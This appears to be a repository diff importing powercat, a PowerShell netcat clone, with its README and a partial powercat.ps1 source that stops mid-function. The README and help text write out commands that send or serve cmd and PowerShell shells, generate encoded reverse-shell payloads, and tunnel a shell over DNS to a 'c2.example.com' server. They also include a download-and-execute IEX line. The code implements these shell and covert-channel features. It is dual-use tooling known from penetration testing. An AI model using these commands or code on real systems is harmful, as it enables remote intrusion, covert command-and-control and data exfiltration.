Codebase list powercat / d09b467
New upstream version 0.0~git20170805 Sophie Brun 5 years ago
2 changed file(s) with 1059 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 powercat
1 ========
2 Netcat: The powershell version. (Powershell Version 2 and Later Supported)
3
4 Installation
5 ------------
6 powercat is a powershell function. First you need to load the function before you can execute it. You can put one of the below commands into your powershell profile so powercat is automatically loaded when powershell starts.
7 ###
8 Load The Function From Downloaded .ps1 File:
9 . .\powercat.ps1
10 Load The Function From URL:
11 IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
12
13 ### Parameters:
14 -l Listen for a connection. [Switch]
15 -c Connect to a listener. [String]
16 -p The port to connect to, or listen on. [String]
17 -e Execute. (GAPING_SECURITY_HOLE) [String]
18 -ep Execute Powershell. [Switch]
19 -r Relay. Format: "-r tcp:10.1.1.1:443" [String]
20 -u Transfer data over UDP. [Switch]
21 -dns Transfer data over dns (dnscat2). [String]
22 -dnsft DNS Failure Threshold. [int32]
23 -t Timeout option. Default: 60 [int32]
24 -i Input: Filepath (string), byte array, or string. [object]
25 -o Console Output Type: "Host", "Bytes", or "String" [String]
26 -of Output File Path. [String]
27 -d Disconnect after connecting. [Switch]
28 -rep Repeater. Restart after disconnecting. [Switch]
29 -g Generate Payload. [Switch]
30 -ge Generate Encoded Payload. [Switch]
31 -h Print the help message. [Switch]
32
33 Basic Connections
34 -----------------------------------
35 By default, powercat reads input from the console and writes input to the console using write-host. You can change the output type to 'Bytes', or 'String' with -o.
36 ###
37 Basic Client:
38 powercat -c 10.1.1.1 -p 443
39 Basic Listener:
40 powercat -l -p 8000
41 Basic Client, Output as Bytes:
42 powercat -c 10.1.1.1 -p 443 -o Bytes
43
44 File Transfer
45 -------------
46 powercat can be used to transfer files back and forth using -i (Input) and -of (Output File).
47 ###
48 Send File:
49 powercat -c 10.1.1.1 -p 443 -i C:\inputfile
50 Recieve File:
51 powercat -l -p 8000 -of C:\inputfile
52
53 Shells
54 ------
55 powercat can be used to send and serve shells. Specify an executable to -e, or use -ep to execute powershell.
56 ###
57 Serve a cmd Shell:
58 powercat -l -p 443 -e cmd
59 Send a cmd Shell:
60 powercat -c 10.1.1.1 -p 443 -e cmd
61 Serve a shell which executes powershell commands:
62 powercat -l -p 443 -ep
63
64 DNS and UDP
65 -----------
66 powercat supports more than sending data over TCP. Specify -u to enable UDP Mode. Data can also be sent to a [dnscat2 server](https://github.com/iagox86/dnscat2) with -dns. **Make sure to add "-e open --no-cache" when running the dnscat2 server.**
67 ###
68 Send Data Over UDP:
69 powercat -c 10.1.1.1 -p 8000 -u
70 powercat -l -p 8000 -u
71 Connect to the c2.example.com dnscat2 server using the DNS server on 10.1.1.1:
72 powercat -c 10.1.1.1 -p 53 -dns c2.example.com
73 Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:
74 powercat -dns c2.example.com -e cmd
75
76 Relays
77 ------
78 Relays in powercat work just like traditional netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.
79 ###
80 TCP Listener to TCP Client Relay:
81 powercat -l -p 8000 -r tcp:10.1.1.16:443
82 TCP Listener to UDP Client Relay:
83 powercat -l -p 8000 -r udp:10.1.1.16:53
84 TCP Listener to DNS Client Relay
85 powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
86 TCP Listener to DNS Client Relay using the Windows Default DNS Server
87 powercat -l -p 8000 -r dns:::c2.example.com
88 TCP Client to Client Relay
89 powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
90 TCP Listener to Listener Relay
91 powercat -l -p 8000 -r tcp:9000
92
93 Generate Payloads
94 -----------------
95 Payloads which do a specific action can be generated using -g (Generate Payload) and -ge (Generate Encoded Payload). Encoded payloads can be executed with powershell -E. You can use these if you don't want to use all of powercat.
96 ###
97 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
98 powercat -c 10.1.1.15 -p 443 -e cmd -g
99 Generate a bind tcp encoded command which listens on port 8000:
100 powercat -l -p 8000 -e cmd -ge
101
102 Misc Usage
103 ----------
104 powercat can also be used to perform portscans, and start persistent servers.
105 ###
106 Basic TCP Port Scanner:
107 (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
108 Start A Persistent Server That Serves a File:
109 powercat -l -p 443 -i C:\inputfile -rep
110
0 function powercat
1 {
2 param(
3 [alias("Client")][string]$c="",
4 [alias("Listen")][switch]$l=$False,
5 [alias("Port")][Parameter(Position=-1)][string]$p="",
6 [alias("Execute")][string]$e="",
7 [alias("ExecutePowershell")][switch]$ep=$False,
8 [alias("Relay")][string]$r="",
9 [alias("UDP")][switch]$u=$False,
10 [alias("dnscat2")][string]$dns="",
11 [alias("DNSFailureThreshold")][int32]$dnsft=10,
12 [alias("Timeout")][int32]$t=60,
13 [Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
14 [ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
15 [alias("OutputFile")][string]$of="",
16 [alias("Disconnect")][switch]$d=$False,
17 [alias("Repeater")][switch]$rep=$False,
18 [alias("GeneratePayload")][switch]$g=$False,
19 [alias("GenerateEncoded")][switch]$ge=$False,
20 [alias("Help")][switch]$h=$False
21 )
22
23 ############### HELP ###############
24 $Help = "
25 powercat - Netcat, The Powershell Version
26 Github Repository: https://github.com/besimorhino/powercat
27
28 This script attempts to implement the features of netcat in a powershell
29 script. It also contains extra features such as built-in relays, execute
30 powershell, and a dnscat2 client.
31
32 Usage: powercat [-c or -l] [-p port] [options]
33
34 -c <ip> Client Mode. Provide the IP of the system you wish to connect to.
35 If you are using -dns, specify the DNS Server to send queries to.
36
37 -l Listen Mode. Start a listener on the port specified by -p.
38
39 -p <port> Port. The port to connect to, or the port to listen on.
40
41 -e <proc> Execute. Specify the name of the process to start.
42
43 -ep Execute Powershell. Start a pseudo powershell session. You can
44 declare variables and execute commands, but if you try to enter
45 another shell (nslookup, netsh, cmd, etc.) the shell will hang.
46
47 -r <str> Relay. Used for relaying network traffic between two nodes.
48 Client Relay Format: -r <protocol>:<ip addr>:<port>
49 Listener Relay Format: -r <protocol>:<port>
50 DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
51
52 -u UDP Mode. Send traffic over UDP. Because it's UDP, the client
53 must send data before the server can respond.
54
55 -dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
56 Specify the dns server to -c, the dns port to -p, and specify the
57 domain to this option, -dns. This is only a client.
58 Get the server here: https://github.com/iagox86/dnscat2
59
60 -dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
61 recieve before exiting. Set to zero when receiving files, and set high
62 for more stability over the internet.
63
64 -t <int> Timeout. The number of seconds to wait before giving up on listening or
65 connecting. Default: 60
66
67 -i <input> Input. Provide data to be sent down the pipe as soon as a connection is
68 established. Used for moving files. You can provide the path to a file,
69 a byte array object, or a string. You can also pipe any of those into
70 powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
71
72 -o <type> Output. Specify how powercat should return information to the console.
73 Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
74
75 -of <path> Output File. Specify the path to a file to write output to.
76
77 -d Disconnect. powercat will disconnect after the connection is established
78 and the input from -i is sent. Used for scanning.
79
80 -rep Repeater. powercat will continually restart after it is disconnected.
81 Used for setting up a persistent server.
82
83 -g Generate Payload. Returns a script as a string which will execute the
84 powercat with the options you have specified. -i, -d, and -rep will not
85 be incorporated.
86
87 -ge Generate Encoded Payload. Does the same as -g, but returns a string which
88 can be executed in this way: powershell -E <encoded string>
89
90 -h Print this help message.
91
92 Examples:
93
94 Listen on port 8000 and print the output to the console.
95 powercat -l -p 8000
96
97 Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
98 powercat -c 10.1.1.1 -p 443 -e cmd -v
99
100 Connect to the dnscat2 server on c2.example.com, and send dns queries
101 to the dns server on 10.1.1.1 port 53.
102 powercat -c 10.1.1.1 -p 53 -dns c2.example.com
103
104 Send a file to 10.1.1.15 port 8000.
105 powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
106
107 Write the data sent to the local listener on port 4444 to C:\outfile
108 powercat -l -p 4444 -of C:\outfile
109
110 Listen on port 8000 and repeatedly server a powershell shell.
111 powercat -l -p 8000 -ep -rep
112
113 Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
114 powercat -l -p 8000 -r tcp:10.1.1.1:9000
115
116 Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
117 sending queries to 10.1.1.1 port 53.
118 powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
119 "
120 if($h){return $Help}
121 ############### HELP ###############
122
123 ############### VALIDATE ARGS ###############
124 $global:Verbose = $Verbose
125 if($of -ne ''){$o = 'Bytes'}
126 if($dns -eq "")
127 {
128 if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
129 if($p -eq ""){return "Please provide a port number to -p."}
130 }
131 if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
132 if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
133 if($l)
134 {
135 $Failure = $False
136 netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
137 if($Failure){break}
138 }
139 if($r -ne "")
140 {
141 if($r.split(":").Count -eq 2)
142 {
143 $Failure = $False
144 netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
145 if($Failure){break}
146 }
147 }
148 ############### VALIDATE ARGS ###############
149
150 ############### UDP FUNCTIONS ###############
151 function Setup_UDP
152 {
153 param($FuncSetupVars)
154 if($global:Verbose){$Verbose = $True}
155 $c,$l,$p,$t = $FuncSetupVars
156 $FuncVars = @{}
157 $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
158 if($l)
159 {
160 $SocketDestinationBuffer = New-Object System.Byte[] 65536
161 $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
162 $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
163 $PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
164 Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
165 $ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
166 $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
167 while($True)
168 {
169 if($Host.UI.RawUI.KeyAvailable)
170 {
171 if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
172 {
173 Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
174 $FuncVars["Socket"].Close()
175 $Stopwatch.Stop()
176 break
177 }
178 }
179 if($Stopwatch.Elapsed.TotalSeconds -gt $t)
180 {
181 $FuncVars["Socket"].Close()
182 $Stopwatch.Stop()
183 Write-Verbose "Timeout!" ; break
184 }
185 if($ConnectHandle.IsCompleted)
186 {
187 $SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
188 Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
189 if($SocketBytesRead -gt 0){break}
190 else{break}
191 }
192 }
193 $Stopwatch.Stop()
194 $FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
195 }
196 else
197 {
198 if(!$c.Contains("."))
199 {
200 $IPList = @()
201 [System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
202 Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
203 $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
204 }
205 else
206 {
207 $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
208 }
209 $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
210 $FuncVars["Socket"].Connect($c,$p)
211 Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
212 Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
213 }
214 $FuncVars["BufferSize"] = 65536
215 $FuncVars["EndPoint"] = $EndPoint
216 $FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
217 $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
218 return $FuncVars
219 }
220 function ReadData_UDP
221 {
222 param($FuncVars)
223 $Data = $null
224 if($FuncVars["StreamReadOperation"].IsCompleted)
225 {
226 $StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
227 if($StreamBytesRead -eq 0){break}
228 $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
229 $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
230 }
231 return $Data,$FuncVars
232 }
233 function WriteData_UDP
234 {
235 param($Data,$FuncVars)
236 $FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
237 return $FuncVars
238 }
239 function Close_UDP
240 {
241 param($FuncVars)
242 $FuncVars["Socket"].Close()
243 }
244 ############### UDP FUNCTIONS ###############
245
246 ############### DNS FUNCTIONS ###############
247 function Setup_DNS
248 {
249 param($FuncSetupVars)
250 if($global:Verbose){$Verbose = $True}
251 function ConvertTo-HexArray
252 {
253 param($String)
254 $Hex = @()
255 $String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
256 return $Hex
257 }
258
259 function SendPacket
260 {
261 param($Packet,$DNSServer,$DNSPort)
262 $Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
263 $result = ($Command | nslookup 2>&1 | Out-String)
264 if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
265 else{return 1}
266 }
267
268 function Create_SYN
269 {
270 param($SessionId,$SeqNum,$Tag,$Domain)
271 return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
272 }
273
274 function Create_FIN
275 {
276 param($SessionId,$Tag,$Domain)
277 return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
278 }
279
280 function Create_MSG
281 {
282 param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
283 return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
284 }
285
286 function DecodePacket
287 {
288 param($Packet)
289
290 if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
291 $AcknowledgementNumber = ($Packet[10..13] -join "")
292 $SeqNum = ($Packet[14..17] -join "")
293 [byte[]]$ReturningData = @()
294
295 if($Packet.Length -gt 18)
296 {
297 $PacketElim = $Packet.Substring(18)
298 while($PacketElim.Length -gt 0)
299 {
300 $ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
301 $PacketElim = $PacketElim.Substring(2)
302 }
303 }
304
305 return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
306 }
307
308 function AcknowledgeData
309 {
310 param($ReturningData,$AcknowledgementNumber)
311 $Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
312 if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
313 return $Hex
314 }
315 $FuncVars = @{}
316 $FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
317 if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
318 $FuncVars["Tag"] = ""
319 $FuncVars["Domain"] = ("." + $FuncVars["Domain"])
320
321 $FuncVars["Create_SYN"] = ${function:Create_SYN}
322 $FuncVars["Create_MSG"] = ${function:Create_MSG}
323 $FuncVars["Create_FIN"] = ${function:Create_FIN}
324 $FuncVars["DecodePacket"] = ${function:DecodePacket}
325 $FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
326 $FuncVars["AckData"] = ${function:AcknowledgeData}
327 $FuncVars["SendPacket"] = ${function:SendPacket}
328 $FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
329 $FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
330 $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
331 $FuncVars["Failures"] = 0
332
333 $SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
334 $ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
335 $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
336 if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
337 $ReturningData = $DecodedPacket[1]
338 if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
339 $FuncVars["AckNum"] = $DecodedPacket[2]
340 $FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
341 if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
342 return $FuncVars
343 }
344 function ReadData_DNS
345 {
346 param($FuncVars)
347 if($global:Verbose){$Verbose = $True}
348
349 $PacketsData = @()
350 $PacketData = ""
351
352 if($FuncVars["InputData"] -ne $null)
353 {
354 $Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
355 $SectionCount = 0
356 $PacketCount = 0
357 foreach($Char in $Hex)
358 {
359 if($SectionCount -ge 30)
360 {
361 $SectionCount = 0
362 $PacketData += "."
363 }
364 if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
365 {
366 $PacketsData += $PacketData.TrimEnd(".")
367 $PacketCount = 0
368 $SectionCount = 0
369 $PacketData = ""
370 }
371 $PacketData += $Char
372 $SectionCount += 2
373 $PacketCount += 2
374 }
375 $PacketData = $PacketData.TrimEnd(".")
376 $PacketsData += $PacketData
377 $FuncVars["InputData"] = ""
378 }
379 else
380 {
381 $PacketsData = @("")
382 }
383
384 [byte[]]$ReturningData = @()
385 foreach($PacketData in $PacketsData)
386 {
387 try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
388 catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
389 try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
390 catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
391 try
392 {
393 $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
394 if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
395 $FuncVars["AckNum"] = $DecodedPacket[2]
396 $FuncVars["SeqNum"] = $DecodedPacket[3]
397 $ReturningData += $DecodedPacket[1]
398 }
399 catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
400 if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
401 }
402
403 if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
404
405 if($ReturningData -ne @())
406 {
407 $FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
408 }
409 return $ReturningData,$FuncVars
410 }
411 function WriteData_DNS
412 {
413 param($Data,$FuncVars)
414 $FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
415 return $FuncVars
416 }
417 function Close_DNS
418 {
419 param($FuncVars)
420 $FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
421 Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
422 }
423 ############### DNS FUNCTIONS ###############
424
425 ########## TCP FUNCTIONS ##########
426 function Setup_TCP
427 {
428 param($FuncSetupVars)
429 $c,$l,$p,$t = $FuncSetupVars
430 if($global:Verbose){$Verbose = $True}
431 $FuncVars = @{}
432 if(!$l)
433 {
434 $FuncVars["l"] = $False
435 $Socket = New-Object System.Net.Sockets.TcpClient
436 Write-Verbose "Connecting..."
437 $Handle = $Socket.BeginConnect($c,$p,$null,$null)
438 }
439 else
440 {
441 $FuncVars["l"] = $True
442 Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
443 $Socket = New-Object System.Net.Sockets.TcpListener $p
444 $Socket.Start()
445 $Handle = $Socket.BeginAcceptTcpClient($null, $null)
446 }
447
448 $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
449 while($True)
450 {
451 if($Host.UI.RawUI.KeyAvailable)
452 {
453 if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
454 {
455 Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
456 if($FuncVars["l"]){$Socket.Stop()}
457 else{$Socket.Close()}
458 $Stopwatch.Stop()
459 break
460 }
461 }
462 if($Stopwatch.Elapsed.TotalSeconds -gt $t)
463 {
464 if(!$l){$Socket.Close()}
465 else{$Socket.Stop()}
466 $Stopwatch.Stop()
467 Write-Verbose "Timeout!" ; break
468 break
469 }
470 if($Handle.IsCompleted)
471 {
472 if(!$l)
473 {
474 try
475 {
476 $Socket.EndConnect($Handle)
477 $Stream = $Socket.GetStream()
478 $BufferSize = $Socket.ReceiveBufferSize
479 Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
480 }
481 catch{$Socket.Close(); $Stopwatch.Stop(); break}
482 }
483 else
484 {
485 $Client = $Socket.EndAcceptTcpClient($Handle)
486 $Stream = $Client.GetStream()
487 $BufferSize = $Client.ReceiveBufferSize
488 Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
489 }
490 break
491 }
492 }
493 $Stopwatch.Stop()
494 if($Socket -eq $null){break}
495 $FuncVars["Stream"] = $Stream
496 $FuncVars["Socket"] = $Socket
497 $FuncVars["BufferSize"] = $BufferSize
498 $FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
499 $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
500 $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
501 $FuncVars["StreamBytesRead"] = 1
502 return $FuncVars
503 }
504 function ReadData_TCP
505 {
506 param($FuncVars)
507 $Data = $null
508 if($FuncVars["StreamBytesRead"] -eq 0){break}
509 if($FuncVars["StreamReadOperation"].IsCompleted)
510 {
511 $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
512 if($StreamBytesRead -eq 0){break}
513 $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
514 $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
515 }
516 return $Data,$FuncVars
517 }
518 function WriteData_TCP
519 {
520 param($Data,$FuncVars)
521 $FuncVars["Stream"].Write($Data, 0, $Data.Length)
522 return $FuncVars
523 }
524 function Close_TCP
525 {
526 param($FuncVars)
527 try{$FuncVars["Stream"].Close()}
528 catch{}
529 if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
530 else{$FuncVars["Socket"].Close()}
531 }
532 ########## TCP FUNCTIONS ##########
533
534 ########## CMD FUNCTIONS ##########
535 function Setup_CMD
536 {
537 param($FuncSetupVars)
538 if($global:Verbose){$Verbose = $True}
539 $FuncVars = @{}
540 $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
541 $ProcessStartInfo.FileName = $FuncSetupVars[0]
542 $ProcessStartInfo.UseShellExecute = $False
543 $ProcessStartInfo.RedirectStandardInput = $True
544 $ProcessStartInfo.RedirectStandardOutput = $True
545 $ProcessStartInfo.RedirectStandardError = $True
546 $FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
547 Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
548 $FuncVars["Process"].Start() | Out-Null
549 $FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
550 $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
551 $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
552 $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
553 $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
554 return $FuncVars
555 }
556 function ReadData_CMD
557 {
558 param($FuncVars)
559 [byte[]]$Data = @()
560 if($FuncVars["StdOutReadOperation"].IsCompleted)
561 {
562 $StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
563 if($StdOutBytesRead -eq 0){break}
564 $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
565 $FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
566 }
567 if($FuncVars["StdErrReadOperation"].IsCompleted)
568 {
569 $StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
570 if($StdErrBytesRead -eq 0){break}
571 $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
572 $FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
573 }
574 return $Data,$FuncVars
575 }
576 function WriteData_CMD
577 {
578 param($Data,$FuncVars)
579 $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
580 return $FuncVars
581 }
582 function Close_CMD
583 {
584 param($FuncVars)
585 $FuncVars["Process"] | Stop-Process
586 }
587 ########## CMD FUNCTIONS ##########
588
589 ########## POWERSHELL FUNCTIONS ##########
590 function Main_Powershell
591 {
592 param($Stream1SetupVars)
593 try
594 {
595 $encoding = New-Object System.Text.AsciiEncoding
596 [byte[]]$InputToWrite = @()
597 if($i -ne $null)
598 {
599 Write-Verbose "Input from -i detected..."
600 if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
601 elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
602 elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
603 else{Write-Host "Unrecognised input type." ; return}
604 }
605
606 Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
607 try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
608 catch{Write-Verbose "Stream 1 Setup Failure" ; return}
609
610 Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
611 try
612 {
613 $IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
614 $Prompt = ("PS " + (pwd).Path + "> ")
615 $CommandToExecute = ""
616 $Data = $null
617 }
618 catch
619 {
620 Write-Verbose "Stream 2 Setup Failure" ; return
